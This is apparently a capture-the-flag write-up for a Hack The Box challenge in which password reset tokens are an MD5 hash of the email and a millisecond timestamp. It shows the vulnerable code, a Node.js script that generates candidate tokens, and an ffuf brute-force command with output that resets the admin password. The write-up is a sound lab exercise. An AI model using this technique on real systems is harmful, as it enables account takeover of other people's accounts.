Description
You’ve been tasked on a pentest engagement to understand the tokengeneration process and exploit it, do you have what it takes?
Overview
This was “hard” challenge from the HTB Fall Huddle. The name and description pretty much gave away the vulnerability. The application uses predictable values to generate password reset tokens. If we can obtaina user’s email and the timestamp of when the password reset was requested, we can generate the same token. This challenge did require reading the source code and scripting to generate the possibletokens based on exact time that we issued the issued the reset. To do this, we had to create a wordlist of possible tokens and brute force the reset for the admin user.
Reset Token Helper
While reviewing the source code, we notice the seed for the token is generated using two easily predictable values: the user’s email and the current timestamp (Date.now()). The token is then created by MD5 hashing the seed.
const seed = email + currentTime.toString();
const token = crypto.createHash('md5').update(seed).digest('hex');
Solution:
From looking at the code, it became clear that our goal was to exploit the flaw in the way password reset tokens were generated. Spinning up the appliction locally confirms this.
NodeMailer
The password reset process requires the user’s email and reset token. When we click on “forgot password,” the application sends a reset token via email, which we receive in our NodeMailer email box that conveniently renders on the same page.
Scripting an Exploit
After reviewing the source code, we can see the password reset tokens are generated by concatenating the user’s email with the current Unix timestamp, then hashing the result.
To exploit this, I first wrote a script to generate a token for my test user, [email protected], using the same logic as the application.
However, I eventually realized this approach wouldn’t work since even a slight time difference—down to milliseconds—would result in a different token, making it nearly impossible to match the token precisely.
To overcome this, I wrote another script that generated 4,000 tokens, one for every millisecond difference from when the script started. After requesting a password reset, I captured the token sent via email and then used it to grep the same value from the list of the 4,000 generated tokens.
rosehacks@pwny$ cat results.txt | grep 583d6f54e3bed1dedf2e200ae4fdd3f4 [+] Time (milliseconds): 1729210982515 | Time (UTC): 10/18/2024, 12:23:02 AM | Token: 583d6f54e3bed1dedf2e200ae4fdd3f4
Brute-Forcing Tokens
Now, I just needed to apply the same process, but this time replacing [email protected] with [email protected] in my script. To brute-force the password reset, I planned to use a tool like ffuf along with the wordlist of generated tokens. I created 4,000 tokens for the [email protected] email and quickly triggered the “forgot password” function for that email. Afterward, I used grep to extract the tokens from my script and placed them into a wordlist. Finally, I passed the wordlist to ffuf to brute-force the token for the password reset feature.
rosehacks@pwny$ grep "Token:" results.txt | awk -F 'Token: ' '{print $2}' > wordlist.txt // parse tokens from output into a wordlist for ffuf rosehacks@pwny$ ffuf -u http://127.0.0.1:1337/api/reset-password -X POST -d '{"email":"[email protected]","token":"FUZZ","newPassword":"admin"}' -w wordlist.txt -H "Content-Type: application/json" -fw 5 //Fuzz token value until password is reset /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev =============================================================== :: Method : POST :: URL : http://127.0.0.1:1337/api/reset-password :: Wordlist : FUZZ: /home/kali/wordlist.txt :: Header : Content-Type: application/json :: Data : {"email":"[email protected]","token":"FUZZ","newPassword":"admin"} :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response words: 5 =============================================================== 2d05f0c1a911b4176613134f6f0826fd [Status: 200, Size: 59, Words: 3, Lines: 1, Duration: 83ms] :: Progress: [4001/4001] :: Job [1/1] :: 2890 req/sec :: Duration: [00:00:01] :: Errors: 0 ::
I used the token to reset the admin’s password, logged in as the admin to get the flag:
Exploit:
const crypto = require('crypto');
// Script to generate multiple tokens within a time range
async function generateTokensForRange(email, range) {
console.log(`[*] Starting token generation for a 2000ms range...`);
// Get the current time in milliseconds
const startTime = Date.now();
console.log(`[*] Start time: ${startTime}`);
// Iterate over the time range (milliseconds defined further down)
for (let offset = 0; offset <= range; offset++) {
const currentTime = startTime + offset;
// Generate the seed and then MD5 token for each millisecond in the range
const seed = email + currentTime.toString();
const token = crypto.createHash('md5').update(seed).digest('hex');
const fullDateTime = new Date(currentTime).toLocaleString("en-US", { timeZone: "UTC" });
console.log(`[+] Time (milliseconds): ${currentTime} | Time (UTC): ${fullDateTime} | Token: ${token}`);
}
console.log(`[*] Token generation for range complete.`);
}
(async () => {
const email = "[email protected]";
const timeRange = 4000;
await generateTokensForRange(email, timeRange);
})();